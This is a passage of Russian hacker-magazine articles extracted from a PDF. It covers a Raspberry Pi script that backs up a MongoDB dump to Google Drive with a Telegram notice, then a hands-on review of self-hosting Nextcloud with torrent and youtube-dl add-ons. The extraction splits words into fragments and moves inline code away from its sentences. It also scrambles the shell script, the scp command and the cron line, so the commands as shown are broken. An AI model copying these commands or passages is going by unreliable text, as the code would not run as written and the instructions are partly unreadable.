убе дись,  что  у  тебя  есть  коман да,  которая  поз‐ 
воля ет тебе заг ружать все дан ные любимой базы
дан ных  в  опре делен ную  пап ку  на  малине.  Эту
пап ку мы и будем заг ружать в обла ко.

Да,  в  этом  руководс тве  я  рас ска жу  тебе  толь ко  о  Mongo.  Ради  крат кости
изло жения и для показа тель нос ти при мера я решил выб рать имен но эту базу
дан ных.

Но  и  тут  у  нас  будут  неболь шие  проб лемы  из‐за  огра ничен ности  выб‐ 
ранно го железа. На Raspberry Pi Zero далеко не уехать — про цес сор в нашей
малине 32‐бит ный, а пос ледняя Mongo запус кает ся лишь на 64‐бит ных сис‐ 
темах. Что же делать?

Пос тупим  очень  хит ро:  за  неиме нием  луч шего  решения  вос поль зуем ся
прос тым  кос тылем.  Мы  зас тавим  наш  сер вер,  на  котором  уже  уста нов лена
Mongo,  собирать дамп базы дан ных — а потом будем его  заг ружать  к  себе
в Google Drive.

По чему  бы  нам  прос то  тог да  не  запус кать  все  на  сер вере,  раз  уж  на  то
пош ло?  Да  потому  что  малина  —  это  кибер панк,  который  мы  зас лужили,
а бэкапы всег да дол жны быть внеш ними.

СОЗДАЕМ НА СЕРВЕРЕ И КАЧАЕМ НА МАЛИНУ ДАМП БАЗЫ
ДАННЫХ
Мы вос поль зуем ся коман дой   пря мо по SSH, что бы сге нери ровать
дамп, а потом коман дой  , что бы этот дамп ска чать.

mongodump
scp

INFO

Иг норируй  эту  сек цию,  если  исполь зуешь
не Mongo, а какую‐либо дру гую базу дан ных: тебе
при дет ся  написать  свой  собс твен ный  скрипт
получе ния дам па.

Сге нери руй на малине SSH‐ключ коман дой  .$ ssh‐keygen ‐t rsa

Возь ми внут реннос ти   с малины и добавь их в файл 
 на сер вере, где у тебя запуще на Mongo.
~/.ssh/id_rsa.pub ~/.

ssh/authorized_keys
От лично! Теперь малина может под клю чать ся к сер веру по SSH! Поп робуй

зай ти на сер вер пря мо с малины такой коман дой:

ssh юзер_на_сервере@ip_адрес_сервера $ 

Те перь вый ди из сер вера коман дой  . Ты дол жен быть все еще под клю чен
к малине, но не к сво ему сер веру.

exit

Поп робуй запус тить вот эту коман ду пря мо на малине:

$ ssh юзер_на_сервере@ip_адрес_сервера 'mongodump ‐‐uri="mongodb://
юзер_монги:пароль_юзера_монги@localhost:27017/название_базы_данных" 
‐o "/home/имя_юзера_на_сервере/backups/"'

Не забудь заменить перемен ные на нуж ные для тебя в этой коман де!

Чу дес но!  База  дам панулась  так,  что  аж  стой ки  зат рещали  где‐нибудь
в  амстер дам ском  датацен тре!  Теперь  поп робуй  ска чать  этот  дамп  сле‐ 
дующей коман дой:

scp   юзер_на_сервере@ip_адрес_сервера:/home/юзер_на_сервере/back‐
ups ~/backups/ 
$  ‐r

Кру тота! Теперь у тебя есть дамп тво ей базы дан ных локаль но на малине. Тех‐ 
ничес ки можешь пря мо тут и хра нить свои дам пы — но я бы посове товал тебе
запуль нуть  их  все‐таки  куда‐то  в  обла ко.  Сегод ня  ты  научишь ся  заг ружать
фай лы в Google Drive авто мати чес ки!

ЗАГРУЖАЕМ ДАМП БАЗЫ ДАННЫХ В ОБЛАКО
Так как мы уже нас тро или   выше, все, что нам нуж но сде лать — это про‐ 
верить, заг ружа ется ли наша пап ка в Google Drive сле дующей коман дой.

drive

$ gdrive push ‐destination Backups/ ~/backups/*

INFO

Вмес то Google  Drive  мож но  исполь зовать  любое
хра нили ще  дан ных  в  обла ке.  Можешь  вмес то

  вооб ще  вос поль зовать ся  ,  что бы
гру зить фай лы куда угод но: эта  тул за под держи‐ 
вает боль ше 40 раз ных облачных хра нилищ пря‐ 
мо из короб ки.

drive rclone

ПИШЕМ СКРИПТ
Соз дать дамп базы дан ных мы можем, качать этот дамп вруч ную тоже уме ем,
заг ружать  его  в  обла ко  тоже.  Вре мя  написать  скрипт,  который  будет  все
это делать за нас!

Соз дай  файл    на  малине  со  сле дующим  содер жани ем,
заменяя все перемен ные на нуж ные.

~/backup.sh

#!/bin/bash

# 1
 +%stimestamp=$(date )

# 2

 

ssh юзер_на_сервере@ip_адрес_сервера 'mongodump ‐‐uri="mongodb://
юзер_монги:пароль_юзера_монги@localhost:27017/название_базы_данных" 
‐o "/home/юзер_на_сервере/backups/"' &&

     mkdir ‐p "/home/pi/backups/$timestamp" &&
# 3
scp 

   
‐r юзер_на_сервере@ip_адрес_сервера:/home/юзер_на_сервере/

backups/* "/home/pi/backups/$timestamp" &&
# 4

 
ssh юзер_на_сервере@ip_адрес_сервера 'rm ‐r /home/юзер_на_сервере/
backups' &&
# 5

   gdrive new ‐folder "Backups/$timestamp" &&
# 6

   gdrive push ‐quiet "/home/pi/backups/$timestamp" &&
# 7

   rm ‐r /home/pi/backups/* &&
# 8
curl "https://api.telegram.org/bot123:ABCDE/
sendMessage?chat_id=твой_телеграм_айди&text=� backed up"

Не  забудь  запус тить  коман ду  ,  что бы  дать
поль зовате лю пра ва запус кать этот скрипт. Рас ска жу нем ного о самом фай‐ 
ле.

$  sudo  chmod  +x  ~/backup.sh

Пер вая  стро ка  это го  фай ла  прос то  говорит  раз ным  тек сто вым  редак‐ 
торам, что перед нами файл на bash.
1. По луча ем  текущее  вре мя  в  мил лисекун дах. Мы  будем  исполь зовать  этот
тай мстамп  для  соз дания  папок  типа  ,  что бы
понимать,  ког да  при мер но  были  соз даны  бэкапы. Мы  получа ем  текущий
тай мстамп (нап ример,  ) пря мо тут.

Backups/1602463694

1602463694

2. Соз даем дамп базы дан ных на сер вере при помощи  .mongodump

3. Заг ружа ем этот дамп на малину.
4. Те перь  нам  нуж но  уда лить  этот  дамп  с  сер вера,  что бы  лиш ний  раз  его
не  засорять.  Мы  уже  заг рузили  копию  на  малину,  чего  ж  нам  этот  дамп
еще и на сер вере хра нить?

5. По  какой‐то  при чине  нам  нуж но  сна чала  соз дать  пап ку  с  тай мстам пом
на  Google  Drive  перед  тем,  как  жать  на  боль шую  кноп ку  «син хро низи‐ 
ровать». Ничего страш ного, мы и это уме ем!

6. Заг ружа ем пап ку с дам пом бэкапа в обла ко! Найс!
7. Пос ле  заг рузки  дам па  в  обла ко  уда лим  его  с  малины.  Смыс ла  забивать
кар точку памяти в малине тоже мало.

8. Не боль шой бонус — это отправ ка себе сооб щения в «Телег раме» о том,
что таинс тво бэкапа свер шилось. Тех ничес ки ты заметишь, если вне зап но
сооб щения  о  бэкапах  перес танут  при ходить  тебе  от  бота.  Не  забудь
заменить здесь токен бота!

Мо жешь  поп робовать  запус тить  этот  скрипт  вруч ную  коман дой 
. Дол жно получить ся! А Telegram дол жен начать при сылать сооб щения при‐ 

мер но как ниже на скрин шоте.

~/.backup.
sh

АВТОМАТИЗИРУЕМ ЗАПУСК СКРИПТА
В  интерне те  пол но  руководств  по  .  Им  мы  и  вос поль зуем ся!  Вкрат це,
это шту ка в Linux, которая может с опре делен ной пери одич ностью запус кать
скрип ты. В нашем слу чае мы будем запус кать  скрипт    каж дый
час.

сron

~/.backup.sh

Син таксис  опи сания  интерва лов  понача лу  может  казать ся  необыч ным.
Советую  поль зовать ся  конс трук торами  типа  ,  что бы  соз‐ 
давать крон табы.

Crontab  Generator

От крой  спи сок  пери оди чес ких  задач  при  помощи  коман ды 
и добавь туда сле дующую стро ку.

crontab  ‐e

0         /home/pi/backup.sh * * * *

ЗАКЛЮЧЕНИЕ
Вот и все, самурай! Ты пот ратил все го где‐то час‐два вре мени, а на выходе
у тебя хакер ская при бам баса, которую ты можешь сме ло вты кать у себя дома
где‐нибудь око ло роуте ра.

При желании ты можешь заменить любой эле мент на дру гую тул зу, которая
тебе  боль ше  нра вит ся.  Не  хочешь  исполь зовать  малину?  Можешь  то  же
самое запус тить на любой машине с Linux, в том чис ле уда лен ной. Не поль‐ 
зуешь ся Mongo? Исполь зуй любую дру гую базу дан ных. Не нра вит ся Google
Drive? Заливай бэкапы куда угод но, хоть на флеш ку или хард локаль но.

И не забудь добавить еще каких‐нибудь полез ных скрип тов во имя авто‐ 
мати зации все го и вся!

https://docs.mongodb.com/manual/reference/program/mongodump/
https://github.com/odeke-em/drive
https://rclone.org/
https://crontab-generator.org/
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ТРЮКИ

«А не пос тавить ли мне какую‐нибудь соф‐ 
тину, что бы было про ще раз гре бать фай лы
на  сер вере,  шей рить  их  и  откры вать
с  телефо на?»  —  подумал  я,  и  тут‐то  все
и завер телось! Хотя мои зап росы изна чаль‐ 
но  и  были  скром ными,  я  решил  пер вым
делом взгля нуть на Nextcloud — пер сональ‐ 
ную облачную плат форму, которая не толь‐ 
ко заменя ет Dropbox, но и дела ет еще кучу
раз ных  вещей  —  вплоть  до  работы
с  докумен тами  и  ска чива ния  тор рентов
и видео с YouTube.

Во обще говоря, пер вым делом я рас смат ривал более безобид ные вари анты
вро де  Dropbox  или  Google  Drive.  Пос тавить  одну  из  них  на  сер вер,  и  пусть
син хро низи рует пап ки с компь юте ром, а при желании мож но и на  телефо не
открыть. Но бес плат но в этих сер висах дос тупно не  так мно го мес та, а пла‐ 
тить  за  хра нение  одних  и  тех же фай лов  дваж ды  совер шенно  не  хочет ся —
один  раз  хос теру  VPS,  где  лежат  дан ные,  вто рой  раз  —  за  Dropbox.  Да  и
что‐то свое иметь всег да при ятнее, вер но?

По иски показа ли, что най ти решение одновре мен но прос тое и не сов сем
кус тарное не так‐то лег ко. Зато в любом тре де на эту тему обя затель но появ‐ 
ляют ся  люди,  которые  пос тавили  себе ownCloud  или Nextcloud  и  рапор туют
о  ров ном  и  при ятном  полете  на  про тяже нии  дол гих  лет.  И  хоть  я  и  не  пок‐ 
лонник  мегаком бай нов,  зву чало  это  дос таточ но  заман чиво,  что бы  дать  им
шанс.

Обе прог раммы — это плат формы, которые сами по себе заменя ют Drop‐
box и дают воз можность управлять фай лами и шей рить их, но пос ле уста нов ки
пла гинов начина ют напоми нать мини атюр ную опе раци онку. Здесь тебе и поч‐ 
товые  прог раммы,  метящие  на  роль  Gmail,  и  кол лабора тив ные  редак торы
на  манер  Google  Docs,  и  кален дари  с  пла ниров щиками,  и  замет ки,  и  май‐ 
ндма пы и про чие май ндфа ки.

ownCloud пос ле уста нов ки

При  этом  ownCloud  —  шту ка  далеко  не  новая,  в  «Хакере»  о  нем 
еще в 2014 году. Nextcloud пос вежее и раз вива ется активнее: пер вый релиз
сос тоял ся в 2016 году, а текущая вер сия на момент написа ния этой статьи —
двад цатая.

пи сали

Прис таль но изу чив оба, я обна ружил, что Nextcloud впол не мож но наз вать
млад шим  бра том  ownCloud,  при чем  род ным,  а  не  дво юрод ным.  Сходс тва
вид ны на каж дом шагу, вклю чая даже некото рые эле мен ты интерфей са и наз‐ 
вания фай лов.

Ока зыва ется, соз датель ownCloud Фрэнк Кар личек в какой‐то момент раз‐ 
ругал ся с кол легами и осно вал новую ком панию — тоже в Гер мании. За осно‐ 
ву взя ли готовые исходни ки пред шес твен ника и при нялись добав лять фичи.

По это му возь мем Nextcloud, как более мод ный, и прис тупим к уста нов ке.

УСТАНОВКА
Де таль но  рас катыва ние  Nextcloud  на  сво ем  сер вере 

, так что пов торять ее мы не будем и толь ко про бежим ся по основным
пун ктам — что бы ты пред став лял себе мас шта бы работ и не про пус тил важ‐ 
ные шаги, если решишь пов торить мой путь.

опи сано  в  докумен‐ 
тации

Вот что пот ребу ется сде лать в общих чер тах.
1.   Есть 

, вклю чая пакеты для популяр ных дис три бути вов Linux и кон тей нер Dock‐
er,  но  то,  как имен но  ты  заполу чишь Nextcloud на свой сер вер,  не  так  уж
важ но (по край ней мере, до пер вого обновле ния). Я выб рал самый топор‐ 
ный метод — прос то ска чал архив и рас паковал его в пап ку  .

 пра ва на фай лы нуж но передать поль зовате лю www‐data  (
).

Ска чать и рас паковать дис три бутив. раз ные спо собы уста нов‐ 
ки

/var/www/

Важ но: chown 

R wwwdata nextcloud

2. 
Их дос таточ но мно го, что бы завес ти какой‐нибудь Composer, но я прос то
пос тавил пакеты для нуж ной вер сии PHP из репози тория Ubuntu.

Убе дить ся, что в сис теме есть PHP и все нуж ные  .за виси мос ти

3.   или дру гую под держи ваемую СУБД и 
завес ти в базе поль зовате ля с нуж ными пра вами. Нас трой ку самой СУБД
пока  мож но  про пус тить,  но,  если  Nextcloud  у  тебя  при живет ся  надол го,
сто ит потом вер нуть ся к это му.

Ус тановить MySQL по инс трук ции

4.   Это может быть Apache или ng‐
inx — для обо их есть при меры кон фигов, при чем в слу чае с nginx, который
выб рал  я,  —  .  Тебе  пот ребу ется  поп равить  наз вание
сер вера, путь к пап ке и, воз можно, вер сию php‐fpm. Кста ти, убе дись, что
у тебя уста нов лены php‐fpm и php‐mysql (или драй вер той БД, которую ты
исполь зуешь).

Ус тановить и нас тро ить веб‑сер вер.

край не  под робные

5.   И в дан ном слу чае это важ но — без HTTPS
не  все  заведет ся  как  положе но.  Бес плат ный  серт  Let’s  Encrypt  впол не
подой дет, а Certbot его выдаст и добавит в кон фиг веб‐сер вера бук валь но

.

По лучить SSL-сер тификат.

па рой команд

Ког да  все  будет  готово,  не  спе ши  переза пус кать  сер вер!  Как  толь ко  ты
это  сде лаешь,  Nextcloud  нач нет  на  весь  мир  показы вать  уста нов щик,
которым, по идее, может вос поль зовать ся кто угод но и ста нет адми ном тво‐ 
его  обла ка  вмес то  тебя  :‐)  Что бы  избе жать  это го,  можешь  либо  завер шить
про цесс  уста нов ки  ,  либо  нас тро ить  веб‐сер вер
таким обра зом,  что бы он  не  пус кал  кого попало.  Тебя  выручит  авто риза ция
(дирек тива  ) либо белый спи сок, в который будет вхо дить толь ко
твой IP (дирек тивы   и  ).

че рез  коман дную  стро ку

auth_basic
allow <IP> deny all

В  любом  слу чае  для  работы  с  Nextcloud  тебе  понадо бит ся  задать  логин
и пароль для админ ской учет ки, а так же ука зать базу дан ных и кре ды ее поль‐ 
зовате ля,  которо го  ты  соз давал.  В  общем,  если  ты  ког да‐нибудь  уста нав‐ 
ливал WordPress или phpBB, то ты точ но спра вишь ся.

ИНТЕРФЕЙС И ПРИЛОЖЕНИЯ
Пос ле  дол гих  прик лючений  в  тем ном  под земелье  кон соли  мы  выбира емся
на повер хность, к цивили зации. На пер вый взгляд все очень мод но.

Даш борд!

Фай ловый менед жер с кар тиноч ками!

Жур нал изме нений!

Ма газин при ложе ний!

Точ нее,  подобие  магази на,  потому  что  денег  здесь  не  берут,  все  толь ко
даром.

Пос коль ку в пер вую оче редь раз работ чики заменя ли Dropbox, с шей рин‐ 
гом  фай лов  здесь  все  в  поряд ке:  мож но  получить  внут реннюю  ссыл ку,
поделить ся  с  дру гим  поль зовате лем  или  сде лать  пуб лично  дос тупный  URL.
В  пос леднем  слу чае  по  ссыл ке  будет  откры вать ся  пред прос мотр,  но  если
дописать в конец  , то и сам файл./preview

Шей ринг

Еще мож но наз начить пароль и ука зать вре мя, по исте чении которо го ссыл ка
работать перес танет.

Ог раниче ние по вре мени

Но  вни мание,  конеч но,  сра зу  перетя гива ет  на  себя  магазин  при ложе ний.
Все го аппли кух ни мно го ни мало — 281 шту ка. Здесь есть вся кие прос мот‐ 
рщи ки  (нап ример,  для  ,  ,  ), 

, галереи для прос мотра и пуб ликации кар тинок, нес коль ко
видов таск‐тре керов и заметок, менед жер паролей и тому подоб ные вещи.

сним ков  в  RAW кни жек  в  ePub тре ков  в  GPX му‐ 
зыкаль ные пле еры

Вот,  к  при меру,  отличный редак тор  диаг рамм на  осно ве  исходных  кодов
, о котором я  . Он уста нав лива ется бук‐ 

валь но  одной  кноп кой,  пос ле  это го  мож но  соз давать,  откры вать  и  редак‐ 
тировать фай лы с диаг рамма ми.

Draw.io ког да‐то писал в руб рике WWW

Не сто ит, впро чем, ждать, что все при ложе ния будут ста вить ся одной кноп кой
и  иде аль но  работать,  наделяя  Nextcloud  новой  вос хититель ной  воз‐ 
можностью. При ложу хи здесь очень раз ные — как по качес тву, так и по тре‐ 
бова ниям.

Нап ример,  быва ет  нуж но  что‐то  допол нитель но  вруч ную  уста нав ливать
на  сер вер,  а  при ложе ние Nextcloud  слу жит  толь ко фрон тендом.  Так,  нель зя
прос то взять и в один клик пос тавить кол лабора тив ный редак тор докумен тов
Collabora — нужен соот ветс тву ющий сер вер.

То же и с поч той. Прог рамма с незатей ливым наз вани ем   — это лишь
кли ент ская часть, и если ты хочешь не толь ко раз вернуть свой вебовый поч‐ 
товик, но и не зависеть от сто рон них сер висов POP3/SMTP/IMAP, то уста нав‐ 
ливать, нас тра ивать и под держи вать сер вер при дет ся самос тоятель но. Раз‐ 
работ чики рекомен дуют исполь зовать   — как наибо лее прос той
в уста нов ке.

Mail

Mail‐in‐a‐Box

Слу чает ся и  так,  что при ложе ния  тре буют, нап ример, опре делен ной вер‐ 
сии  PHP  или  самого  Nextcloud.  В  общем,  забыть  о  том,  что  ты  теперь  сам
себе админ, не вый дет.

ТОРРЕНТЫ И YOUTUBE-DL
Вряд ли сегод ня кого‐то уди вишь тор рент‐кли ентом с вебовым интерфей сом,
но  при ятно,  ког да  ска чан ными  фай лами  лег ко  управлять.  Что  каса ется
youtube‐dl — зна мени той прог раммы для стя гива ния видео с YouTube и мно‐ 
жес тва  дру гих  сер висов  (вклю чая  Twitter,  TikTok  и  даже  Pornhub),  то  у  него
и  вов се  нет  сво его  гра фичес кого  интерфей са.  Так  что  иметь  воз можность
открыть в бра узе ре стра нич ку, вбить туда URL и заполу чить файл — идея неп‐ 
лохая, осо бен но если речь об исполь зовании с мобиль ного устрой ства.

ocDownloader
Пер вое, что я поп робовал, — это пла гин  , который мож но най ти
в раз деле Tools. Уста новив его, перехо ди в раз дел нас тро ек и в самом низу
сай дба ра сле ва ищи пункт Additional Settings. Здесь появит ся раз дел ocDown‐
loader, а в нем — выбор того, через какую прог рамму будут ска чивать ся фай‐ 
лы —  cURL  или  aria2.  И  если  пер вый  у  тебя  уже  навер няка  уста нов лен,  то
со вто рым при дет ся повозить ся. Зато, пос тавив его, ты смо жешь тем же спо‐ 
собом ска чивать и тор ренты тоже.

ocDownloader

WWW

Крат кое  руководс тво  по  нас трой ке  aria2  есть
в  .рид ми к ocDownloader

Что бы  ска чать  видео  с  YouTube,  нуж но  выб рать  ocDownloader  в  вер хней
панели  Nextcloud,  перей ти  во  вклад ку  YouTube,  вста вить  ссыл ку,  и,  если
youtube‐dl  уста нов лен  и  дос тупен  поль зовате лю  www‐data,  закач ка  пой дет.
Прав да,  пла гин  исполь зует  youtube‐dl  толь ко  для  получе ния  пря мой  ссыл ки
на видео, а кача ет уже той прог раммой, что ты выб рал. На прак тике это озна‐ 
чает,  что  под держи вают ся  не  все  сай ты,  с  которы ми может  спра вить ся  сам
youtube‐dl.

Вто рой  нюанс  зак люча ется  в  том,  что  youtube‐dl  у  меня  зарабо тал  толь ко
в паре с cURL, но не с aria2. Одна ко раз бирать ся, в чем там дело и что пош ло
не  так,  я  не  стал:  зачем  нужен  кри вова тый  пла гин  с  такими  огра ниче ниями,
если мож но  взять и  пос тавить нор маль ный  youtube‐dl  и  Transmission  вмес то
aria2?

Продолжение статьи →

mailto:apismenny@gmail.com
https://xakep.ru/2014/09/24/cloud-crime/
https://docs.nextcloud.com/server/20/admin_manual/installation/index.html
https://help.nextcloud.com/t/linux-packages-status/10216
https://docs.nextcloud.com/server/20/admin_manual/installation/source_installation.html#prerequisites-for-manual-installation
https://docs.nextcloud.com/server/15/admin_manual/configuration_database/linux_database_configuration.html
https://docs.nextcloud.com/server/latest/admin_manual/installation/nginx.html
https://certbot.eff.org/all-instructions
https://docs.nextcloud.com/server/20/admin_manual/installation/command_line_installation.html
https://apps.nextcloud.com/apps/camerarawpreviews
https://apps.nextcloud.com/apps/epubreader
https://apps.nextcloud.com/apps/gpxpod
https://apps.nextcloud.com/apps/music
https://app.diagrams.net/
https://xakep.ru/2016/07/06/www-draw-io/
https://apps.nextcloud.com/apps/mail
https://mailinabox.email/
https://github.com/e-alfred/ocdownloader
https://github.com/e-alfred/ocdownloader


NEXTCLOUD
НАСТРАИВАЕМ ПЕРСОНАЛЬНОЕ ОБЛАКО

И СМОТРИМ, СТОИТ ЛИ ВОЗНЯ СВЕЧ

ТРЮКИ  НАЧАЛО СТАТЬИ←

youtube-dl
Ес ли хорошень ко поис кать, то ока зыва ется, что для youtube‐dl таки сущес тву‐ 
ют  веб‐фрон тенды. В боль шинс тве  сво ем  это фор ки одно го  и  того же  кода
с раз ными доработ ками. Самый прод винутый из  того,  что мне уда лось най‐ 
ти,  —  это  .  Уста нов ка  опи сана  в  рид ми,
но доходит толь ко до тес тового запус ка через Gunicorn. Для более надеж ного
деп лоя луч ше исполь зовать Gunicorn через веб‐прок си, в моем слу чае — ng‐
inx. Здесь все  , пов торять ся не будем.

вер сия  поль зовате ля  katznboyz1

хо рошо докумен тирова но
Пос ле  уста нов ки  и  нас трой ки  ты  получа ешь  удоб ный  веб‐интерфейс,

из  которо го  мож но  отпра вить  видео  на  ска чива ние,  выб рать  опции,  пос‐ 
мотреть  исто рию  и  даже  под писать ся  на  какой‐то  канал,  что бы  видео  ска‐ 
чива лось пери оди чес ки и падало в ука зан ную пап ку.

У меня скрипт при работе выдавал ошиб ки и один раз по невы ясненным при‐ 
чинам пол ностью оста новил ся при ска чива нии видео из Twitter, так что с ним
еще пред сто ит покопать ся. Так же сущес тву ет похожий про ект — 

, который вмес то веб‐фрон тенда пре дос тавля ет RESTful API. Подой‐ 
дет, если ты собира ешь ся заряжать видео на закач ку через бра узер ные пла‐ 
гины или какие‐то самопис ные скрип ты, а не веб‐интерфейс.

youtube‐dl‐
api‐server

Transmission
По идее, для Transmission сущес тву ет готовое при ложе ние Nextcloud, но, как и
в слу чае с ocDownloader, у меня друж ба с ним не сло жилась. Покопав шись, я
обна ружил,  что  автор  пла гина  не  пот рудил ся  сде лать  ни  нас трой ки,
ни докумен тацию и вооб ще рекомен дует исполь зовать соз данный им кон тей‐ 
нер Docker, в котором уже есть и Nextcloud, и Transmission.

Для каких‐то целей это может и подой ти, но я решил пой ти сво им путем.
Пер вым делом пос тавил и нас тро ил  transmission‐demon  (о  том,  как это сде‐ 
лать  в  Ubuntu,  ты  можешь  про честь  ).  Пос коль ку  у  него  есть
свой веб‐интерфейс, нуж да в пла гинах для Nextcloud отпа дает.

в  руководс тве

Веб‐интерфейс Transmission

Од нако тут перед нами вста ет воп рос — как сде лать, что бы Nextcloud видел
ска чан ные фай лы? Да и вооб ще изна чаль но‐то я все это затевал ради того,
что бы фай лы, которые обра зуют ся на сер вере в резуль тате работы скрип тов,
было лег ко открыть с телефо на и при этом не све тить на весь интернет.

ДОСТУП К ФАЙЛАМ И ИНТЕРФЕЙС ДЛЯ КОМАНДНОЙ СТРОКИ
Это может показать ся неоче вид ным, но если прос то взять и на уров не фай‐ 
ловой  сис темы  сер вера  бро сить  файл  в  пап ку  с  дан ными  Nextcloud,  то
Nextcloud  это го  фай ла  не  уви дит.  При чина  прос та —  Nextcloud  ведет  свою
базу дан ных и все метадан ные заносит в нее. А то, что ты видишь в пап ке типа

, —  это  что‐то  вро де  атта‐ 
чей к пись мам без самих писем.
/var/www/nextcloud/data/пользователь/files

Ре шать эту проб лему мож но с раз ных сто рон, но в любом слу чае тебе нуж‐ 
но  убе дить ся,  что  пап ка,  фай лы  из  которой  ты  хочешь  видеть  в  Nextcloud,
будет  дос тупна  поль зовате лю  www‐data  —  в  том  чис ле  на  запись,  если
это понадо бит ся.

Те перь нам надо, что бы Nextcloud видел эту пап ку. Самый прос той спо соб
сде лать это — исполь зовать рас ширение External storage support. Под клю чи
и акти вируй его, пос ле чего можешь перехо дить к его нас трой кам в раз деле
Administration (не Personal, где он тоже появит ся!).

До бав ляем внеш нее хра нили ще

До бавь  хра нили ще  типа  Local  и  задай  путь  к  пап ке.  Если  пра ва  нас тро ены
пра виль но, сле ва появит ся зеленая галоч ка, а сама пап ка отоб разит ся в раз‐ 
деле Files.

Внеш нее хра нили ще с точ ки зре ния Nextcloud

Од нако сами раз работ чики Nextcloud в докумен тации опи сыва ют этот спо соб
как  не  осо бен но  надеж ный.  Пап ка  будет  ска ниро вать ся,  толь ко  ког да  ее
откро ют из интерфей са, а глу бина ска ниро вания сос тавит толь ко три уров ня.

По это му  самое  вре мя  поз накомить ся  с  ути литой  OCC.  При  активном
исполь зовании Nextcloud ты все рав но рано или поз дно с ней стол кнешь ся.

INFO

Рас шифро выва ется  наз вание  ути литы  как  own‐
Cloud Console, то есть ее наз вание так и оста лось
от ownCloud.

OCC — это еди ный инс тру мент, с помощью которо го мож но совер шать мно‐ 
гие дей ствия, которые обыч но дела ются из веб‐интерфей са Nextcloud. Удоб‐ 
но,  если  их  вдруг  понадо бит ся  авто мати зиро вать  и  выз вать  из  скрип тов.
На сай те раз работ чика есть  .под робная докумен тация по OCC

Мы же оста новим ся на одной коман де —  . Если запус тить ее, то
Nextcloud про индекси рует содер жимое сво их папок и добавит записи о новых
фай лах в базу дан ных. Вызывать нуж но так:

files:scan

 sudo ‐u www‐data php occ files:scan ‐‐all

Мо жешь  прос то  взять  и  добавить  эту  коман ду  в  crontab,  задав  вызов,  нап‐ 
ример,  каж дую  минуту.  Соз дава емая  наг рузка  невели ка,  а  работа ет  метод
железо бетон но. С ним даже не нуж но нас тра ивать External storage — прос то
кла ди фай лы туда же, где их хра нит сам Nextcloud.

Впро чем, если тебе покажет ся, что это недос таточ но эле ган тное решение,
то можешь поп робовать нас тро ить скрипт  . Сде лать это с
нас кока у меня не выш ло.

nextcloud‐inotifyscan

МОБИЛЬНОЕ И ДЕСКТОПНОЕ ПРИЛОЖЕНИЯ
Го воря  о  Nextcloud,  нель зя  не  упо мянуть  о  той  его  сос тавля ющей,  которая
работа ет на мобиль ном телефо не. При ложе ние неп лохое, но фун кции в нем
минималь ные  —  это,  счи тай,  ана лог  раз дела  Files.  В  нем  мож но  перек‐ 
ладывать  фай лы  туда‐сюда,  ска чивать  их  в  память  телефо на,  шей рить,
отправ лять в дру гие прог раммы. Есть встро енные прос мот рщи ки, в том чис ле
PDF, и тек сто вый редак тор.

А вот все те при ложе ния, которые ты пос тавишь из магази на, так и оста нут ся
в  вебовой  вер сии,  и  в  этом,  на  мой  взгляд,  глав ная  сла бость  Nextcloud
как  эко сис темы.  Впро чем,  ник то  не  меша ет  заг лянуть  в  веб‐интерфейс
с телефо на.

За то  здесь  есть  одна  при ятная  вещь — интегра ция  в фай ловую сис тему
iOS (об Android судить не могу). Nextcloud хоть и не сра зу, но появил ся у меня
в качес тве раз дела в при ложе нии Files подоб но тому, как это дела ют Dropbox
и  Google  Drive.  Пос ле  это го  мож но  манипу лиро вать  с  фай лами  пря мо  там,
а это откры вает дорогу для раз ного рода локаль ной авто мати зации.

INFO

У  ownCloud  интегра ция  в  Files  —  это  пре‐ 
миум‐фун кция,  дос тупная  толь ко  по  под писке.
В  тот  же  набор  вхо дит  интерфейс  к  Shortcuts  —
сис теме  авто мати зации  iOS.  Кста ти,
и Nextcloud бы такая фича тоже не помеша ла.

Еще  одна  при ятная  шту ка  —  воз можность  зак рыть  дос туп  к  при ложе нию
и логинить ся через встро енную в сис тему биомет рию — дак тилос копичес кий
дат чик или рас позна вание лица.

Для дес кто пов (Windows, Linux, macOS) тоже есть прог рам ма. Она син хро‐ 
низи рует  выб ран ные пап ки меж ду обла ком и жес тким дис ком и напоми нает
кли ент любого ана логич ного сер виса — с той неболь шой раз ницей, что тебе
нуж но будет ука зать адрес сво его сер вера.

Нас трой ка син хро низа ции

Пап ка Nextcloud

ПРИВАТНОСТЬ И БЕЗОПАСНОСТЬ
Ста вить Nextcloud для повыше ния безопас ности в пла не защиты сво их дан‐ 
ных от взло ма — идея как минимум сом нитель ная, по край ней мере если ты
не  готов  обес печить  допол нитель ные  меры  защиты.  В  пер вую  оче редь  —
огра ничить дос туп при помощи VPN или какого‐то дру гого спо соба и дер жать
все ПО в акту аль ном сос тоянии.

Увы, на прак тике любые огра ниче ния дос тупа начина ют спо рить с удобс‐ 
твом, да и тех поддер жка — это не то, чем сто ит занимать ся раз в год в пер‐ 
вый  день  отпуска,  —  по  край ней  мере,  если  защита  для  тебя  при ори тет.
Получа ется, что твой сер вер или одно из при ложе ний взло мают куда ско рее,
чем, нап ример, Gmail.

А  вот  если  тебя  коробит  от  мыс ли,  что  тот  же Gmail  собира ет  клю чевые
сло ва  в  тво их  пись мах,  что бы  при цель но  показы вать  тебе  рек ламу,  то
Nextcloud,  безус ловно,  поможет  изба вить ся  от  это го  неп рият ного  чувс тва.
Но — ценой опре делен ных тру дов и отка за от мно гих фич.

Ес ли же опа саешь ся переда чи тво их дан ных тому или ино му государс тву...
то здесь не мне тебя учить! Nextcloud может стать или не стать одним из тво их
инс тру мен тов, но дру гим обя затель но будет шиф рование.

Мак сималь но парано идаль ным тре бова ниям Nextcloud все рав но не удов‐ 
летво ряет,  по  край ней  мере  если  ты  пла ниру ешь  поль зовать ся  мобиль ным
при ложе нием.  Его  исходни ков,  в  отли чие  от  исходни ков  самого  Nextcloud,
ник то не видел, и если раз работ чики захотят собирать какую‐то ста тис тику, то
в теории у них для это го будет воз можность.

Об  уста нов ке  вся ких  левых  при ложе ний  одной  кноп кой,  кста ти,  тоже
можешь  забыть,  если  серь езно  заботишь ся  о  при ват ности  и  безопас ности.
Чем боль ше кода, написан ного энту зиас тами и не про шед шего никаких ауди‐ 
тов,  ты пос тавишь на свой сер вер,  тем боль ше воз можнос тей для про течек
и про боин.

ИТОГИ
Бе зус ловно,  заводить  у  себя  Nextcloud  —  это  удо воль ствие  на  любите ля.
Если пла ниру ешь раз вернуть такое хозяй ство, нуж но сра зу готовить ся к тому,
что при ложе ния здесь — это по боль шей час ти блед ные копии ана логич ных
ком мерчес ких сер висов и  усту пают им и в  удобс тве, и  в 
а под час и в надеж ности.

функциональности,

